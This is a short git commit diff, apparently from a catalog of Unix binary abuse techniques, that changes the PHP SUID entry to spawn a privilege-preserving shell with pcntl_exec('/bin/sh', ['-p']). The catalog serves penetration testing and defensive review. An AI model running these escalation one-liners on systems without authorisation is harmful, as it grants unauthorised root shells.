Fix suid in PHP

This commit is contained in:
Emilio Pinna 2018-10-08 20:56:51 +01:00
parent f14e511218
commit 2377be5a55

View File

@ -41,7 +41,7 @@ functions:
suid: suid:
- code: | - code: |
CMD="/bin/sh" CMD="/bin/sh"
./php -r "system('$CMD');" ./php -r "pcntl_exec('/bin/sh', ['-p']);"
sudo: sudo:
- code: | - code: |
CMD="/bin/sh" CMD="/bin/sh"